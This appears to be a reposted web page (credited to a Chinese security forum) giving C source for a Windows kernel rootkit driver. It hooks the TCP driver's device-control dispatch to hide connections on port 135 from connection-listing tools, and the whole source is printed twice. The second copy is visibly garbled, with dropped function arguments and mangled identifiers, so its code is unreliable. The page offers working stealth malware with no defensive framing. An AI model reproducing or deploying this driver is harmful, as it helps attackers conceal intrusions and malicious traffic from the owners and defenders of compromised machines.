HideTcpip.c

概述隐藏tcp端口，来自看雪 ///////////////////////////////////////////////////////////////////////////////////////// Filename Rootkit.c// // Author: Jamie Butler// Email: [email protected] or [email protec

隐藏tcp端口，来自看雪

///////////////////////////////////////////////////////////////////////////////////////// filename Rootkit.c// // Author: JamIE Butler// Email:  [email protected] or [email protected]//// Description: This is where the work gets done.//// Version: 1.0// #include "ntddk.h"#include "tdiinfo.h"//#include "stdio.h"//#include "stdlib.h"#include "Rootkit.h"   NTSTATUS DriverEntry(                   IN PDRIVER_OBJECT  DriverObject,IN PUNICODE_STRING RegistryPath                    ){        NTSTATUS                ntStatus;    oldIrpMjDeviceControl = NulL;    DriverObject->DriverUnload = RootkitUnload;        ntStatus = InstallTCPDriverHook();    if(!NT_SUCCESS(ntStatus))         return ntStatus;    return STATUS_SUCCESS;}NTSTATUS InstallTCPDriverHook(){    NTSTATUS       ntStatus;//  UNICODE_STRING devicenameUnicodeString;//  UNICODE_STRING devicelinkUnicodeString;            UNICODE_STRING deviceTcpunicodeString;    WCHAR deviceTCPnameBuffer[]  = L"\Device\Tcp";    pfile_tcp  = NulL;    pDev_tcp   = NulL;    pDrv_tcpip = NulL;    RtlinitUnicodeString (&deviceTcpunicodeString,deviceTCPnameBuffer);    ntStatus = IoGetDeviceObjectPointer(&deviceTcpunicodeString,file_READ_DATA,&pfile_tcp,&pDev_tcp);    if(!NT_SUCCESS(ntStatus))     {            DbgPrint("读取失败!");        return ntStatus;    }    DbgPrint("读取成功!");    pDrv_tcpip = pDev_tcp->DriverObject;    oldIrpMjDeviceControl = pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTRol];     if (oldIrpMjDeviceControl)        InterlockedExchange ((PLONG)&pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTRol],(LONG)HookedDeviceControl);        return STATUS_SUCCESS;}NTSTATUS HookedDeviceControl(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp){    PIO_STACK_LOCATION      irpStack;    ulONG                   ioTransferType;    TdiobjectID             *inputBuffer;    DWORD                    context;    //DbgPrint("The current IRP is at %x\n",Irp);    // Get a pointer to the current location in the Irp. This is where    // the function codes and parameters are located.    irpStack = IoGetCurrentIrpStackLocation (Irp);    switch (irpStack->MajorFunction)     {        case IRP_MJ_DEVICE_CONTRol:            if ((irpStack->MinorFunction == 0) &&                 (irpStack->Parameters.DeviceIoControl.IoControlCode == IOCTL_TCP_query_informatION_EX))            {                ioTransferType = irpStack->Parameters.DeviceIoControl.IoControlCode;                ioTransferType &= 3;                if (ioTransferType == METHOD_NEITHER) // Need to kNow the method to find input buffer                {                    inputBuffer = (TdiobjectID *) irpStack->Parameters.DeviceIoControl.Type3inputBuffer;                                        // CO_TL_ENTITY is for TCP and CL_TL_ENTITY is for UDP                    if (inputBuffer->toi_entity.tei_entity == CO_TL_ENTITY)                    {                         DbgPrint("input buffer %x\n",inputBuffer);                        if ((inputBuffer->toi_ID == 0x101) || (inputBuffer->toi_ID == 0x102) || (inputBuffer->toi_ID == 0x110))                        {                            // Call our completion routine if IRP successful                            irpStack->Control = 0;                            irpStack->Control |= SL_INVOKE_ON_SUCCESS;                             // Save old completion routine if present                            irpStack->Context = (PIO_COMPLETION_ROUTINE) ExAllocatePool(NonPagedPool,sizeof(REQINFO));                            ((PREQINFO)irpStack->Context)->oldCompletion = irpStack->CompletionRoutine;                             ((PREQINFO)irpStack->Context)->ReqType       = inputBuffer->toi_ID;                            // Setup our function to be called on completion of IRP                            irpStack->CompletionRoutine = (PIO_COMPLETION_ROUTINE)IoCompletionRoutine;                        }                    }                }            }        break;                default:        break;    }    return oldIrpMjDeviceControl(DeviceObject,Irp);}NTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp,IN PVOID Context){    PVOID OutputBuffer;    DWORD NumOutputBuffers;    PIO_COMPLETION_ROUTINE p_compRoutine;    DWORD i;    // Connection status values:    // 0 = Invisible    // 1 = CLOSED    // 2 = @R_502_6818@ENING    // 3 = SYN_SENT    // 4 = SYN_RECEIVED    // 5 = ESTABliSHED    // 6 = FIN_WAIT_1    // 7 = FIN_WAIT_2    // 8 = CLOSE_WAIT    // 9 = CLOSING    // ...    OutputBuffer = Irp->UserBuffer;    p_compRoutine = ((PREQINFO)Context)->oldCompletion;    if (((PREQINFO)Context)->ReqType == 0x101)    {        NumOutputBuffers = Irp->IoStatus.information / sizeof(CONNINFO101);        for(i = 0; i < NumOutputBuffers; i++)        {            // HIDe all Web connections            if (HTONS(((PCONNINFO101)OutputBuffer)[i].src_port) == 135)                ((PCONNINFO101)OutputBuffer)[i].status = 0;        }    }    else if (((PREQINFO)Context)->ReqType == 0x102)    {        NumOutputBuffers = Irp->IoStatus.information / sizeof(CONNINFO102);        for(i = 0; i < NumOutputBuffers; i++)        {            // HIDe all Web connections            if (HTONS(((PCONNINFO102)OutputBuffer)[i].src_port) == 135)                ((PCONNINFO102)OutputBuffer)[i].status = 0;        }    }    else if (((PREQINFO)Context)->ReqType == 0x110)    {        NumOutputBuffers = Irp->IoStatus.information / sizeof(CONNINFO110);        for(i = 0; i < NumOutputBuffers; i++)        {            // HIDe all Web connections            if (HTONS(((PCONNINFO110)OutputBuffer)[i].src_port) == 135)                ((PCONNINFO110)OutputBuffer)[i].status = 0;        }    }    ExFreePool(Context);    /*    for(i = 0; i < NumOutputBuffers; i++)    {        DbgPrint("Status: %d",OutputBuffer[i].status);        DbgPrint(" %d.%d.%d.%d:%d",OutputBuffer[i].src_addr & 0xff,OutputBuffer[i].src_addr >> 8 & 0xff,OutputBuffer[i].src_addr >> 16 & 0xff,OutputBuffer[i].src_addr >> 24,HTONS(OutputBuffer[i].src_port));        DbgPrint(" %d.%d.%d.%d:%d\n",OutputBuffer[i].dst_addr & 0xff,OutputBuffer[i].dst_addr >> 8 & 0xff,OutputBuffer[i].dst_addr >> 16 & 0xff,OutputBuffer[i].dst_addr >> 24,HTONS(OutputBuffer[i].dst_port));    }*/    if ((Irp->StackCount > (ulONG)1) && (p_compRoutine != NulL))    {        return (p_compRoutine)(DeviceObject,Irp,NulL);    }    else    {        return Irp->IoStatus.Status;    }}NTSTATUS RootkitUnload(IN PDRIVER_OBJECT DriverObject){    if (oldIrpMjDeviceControl)        InterlockedExchange ((PLONG)&pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTRol],(LONG)oldIrpMjDeviceControl);        if (pfile_tcp != NulL)        ObDereferenceObject(pfile_tcp);    pfile_tcp = NulL;    return STATUS_SUCCESS;}

 

///////////////////////////////////////////////////////////////////////////////////////// filename Rootkit.c// // Author: JamIE Butler// Email:  [email protected] or [email protected]//// Description: This is where the work gets done.//// Version: 1.0// #include "ntddk.h"#include "tdiinfo.h"//#include "stdio.h"//#include "stdlib.h"#include "Rootkit.h"   NTSTATUS DriverEntry(   IN PDRIVER_OBJECT  DriverObject,   IN PUNICODE_STRING RegistryPath){    NTSTATUS                ntStatus;oldIrpMjDeviceControl = NulL;    DriverObject->DriverUnload = RootkitUnload;ntStatus = InstallTCPDriverHook();if(!NT_SUCCESS(ntStatus)) return ntStatus;return STATUS_SUCCESS;}NTSTATUS InstallTCPDriverHook(){    NTSTATUS       ntStatus;//  UNICODE_STRING devicenameUnicodeString;//  UNICODE_STRING devicelinkUnicodeString;        UNICODE_STRING deviceTcpunicodeString;WCHAR deviceTCPnameBuffer[]  = L"\\Device\\Tcp";    pfile_tcp  = NulL;pDev_tcp   = NulL;pDrv_tcpip = NulL;RtlinitUnicodeString (&deviceTcpunicodeString,deviceTCPnameBuffer);ntStatus = IoGetDeviceObjectPointer(&deviceTcpunicodeString,&pDev_tcp);if(!NT_SUCCESS(ntStatus)) {DbgPrint("读取失败!");return ntStatus;}DbgPrint("读取成功!");pDrv_tcpip = pDev_tcp->DriverObject;oldIrpMjDeviceControl = pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTRol]; if (oldIrpMjDeviceControl)InterlockedExchange ((PLONG)&pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTRol],(LONG)HookedDeviceControl);return STATUS_SUCCESS;}NTSTATUS HookedDeviceControl(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp){    PIO_STACK_LOCATION      irpStack;    ulONG                   ioTransferType;TdiobjectID             *inputBuffer;DWORDcontext;//DbgPrint("The current IRP is at %x\n",Irp);    // Get a pointer to the current location in the Irp. This is where    // the function codes and parameters are located.    irpStack = IoGetCurrentIrpStackLocation (Irp);    switch (irpStack->MajorFunction) {    case IRP_MJ_DEVICE_CONTRol:if ((irpStack->MinorFunction == 0) && \(irpStack->Parameters.DeviceIoControl.IoControlCode == IOCTL_TCP_query_informatION_EX)){ioTransferType = irpStack->Parameters.DeviceIoControl.IoControlCode;ioTransferType &= 3;if (ioTransferType == METHOD_NEITHER) // Need to kNow the method to find input buffer{inputBuffer = (TdiobjectID *) irpStack->Parameters.DeviceIoControl.Type3inputBuffer;// CO_TL_ENTITY is for TCP and CL_TL_ENTITY is for UDPif (inputBuffer->toi_entity.tei_entity == CO_TL_ENTITY){ DbgPrint("input buffer %x\n",inputBuffer);if ((inputBuffer->toi_ID == 0x101) || (inputBuffer->toi_ID == 0x102) || (inputBuffer->toi_ID == 0x110)){// Call our completion routine if IRP successfulirpStack->Control = 0;irpStack->Control |= SL_INVOKE_ON_SUCCESS; // Save old completion routine if presentirpStack->Context = (PIO_COMPLETION_ROUTINE) ExAllocatePool(NonPagedPool,sizeof(REQINFO));((PREQINFO)irpStack->Context)->oldCompletion = irpStack->CompletionRoutine; ((PREQINFO)irpStack->Context)->ReqType       = inputBuffer->toi_ID;// Setup our function to be called on completion of IRPirpStack->CompletionRoutine = (PIO_COMPLETION_ROUTINE)IoCompletionRoutine;}}}}break;default:break;    }    return oldIrpMjDeviceControl(DeviceObject,Irp);}NTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT DeviceObject,  IN PIRP Irp,  IN PVOID Context){PVOID OutputBuffer;    DWORD NumOutputBuffers;PIO_COMPLETION_ROUTINE p_compRoutine;DWORD i;// Connection status values:// 0 = Invisible// 1 = CLOSED// 2 = @R_502_6818@ENING// 3 = SYN_SENT// 4 = SYN_RECEIVED// 5 = ESTABliSHED// 6 = FIN_WAIT_1// 7 = FIN_WAIT_2// 8 = CLOSE_WAIT// 9 = CLOSING// ...OutputBuffer = Irp->UserBuffer;p_compRoutine = ((PREQINFO)Context)->oldCompletion;if (((PREQINFO)Context)->ReqType == 0x101){NumOutputBuffers = Irp->IoStatus.information / sizeof(CONNINFO101);for(i = 0; i < NumOutputBuffers; i++){// HIDe all Web connectionsif (HTONS(((PCONNINFO101)OutputBuffer)[i].src_port) == 135)((PCONNINFO101)OutputBuffer)[i].status = 0;}}else if (((PREQINFO)Context)->ReqType == 0x102){NumOutputBuffers = Irp->IoStatus.information / sizeof(CONNINFO102);for(i = 0; i < NumOutputBuffers; i++){// HIDe all Web connectionsif (HTONS(((PCONNINFO102)OutputBuffer)[i].src_port) == 135)((PCONNINFO102)OutputBuffer)[i].status = 0;}}else if (((PREQINFO)Context)->ReqType == 0x110){NumOutputBuffers = Irp->IoStatus.information / sizeof(CONNINFO110);for(i = 0; i < NumOutputBuffers; i++){// HIDe all Web connectionsif (HTONS(((PCONNINFO110)OutputBuffer)[i].src_port) == 135)((PCONNINFO110)OutputBuffer)[i].status = 0;}}ExFreePool(Context);/*for(i = 0; i < NumOutputBuffers; i++){DbgPrint("Status: %d",OutputBuffer[i].status);DbgPrint(" %d.%d.%d.%d:%d",HTONS(OutputBuffer[i].src_port));DbgPrint(" %d.%d.%d.%d:%d\n",HTONS(OutputBuffer[i].dst_port));}*/if ((Irp->StackCount > (ulONG)1) && (p_compRoutine != NulL)){return (p_compRoutine)(DeviceObject,NulL);}else{return Irp->IoStatus.Status;}}NTSTATUS RootkitUnload(IN PDRIVER_OBJECT DriverObject){if (oldIrpMjDeviceControl)InterlockedExchange ((PLONG)&pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTRol],(LONG)oldIrpMjDeviceControl);if (pfile_tcp != NulL)ObDereferenceObject(pfile_tcp);pfile_tcp = NulL;return STATUS_SUCCESS;}

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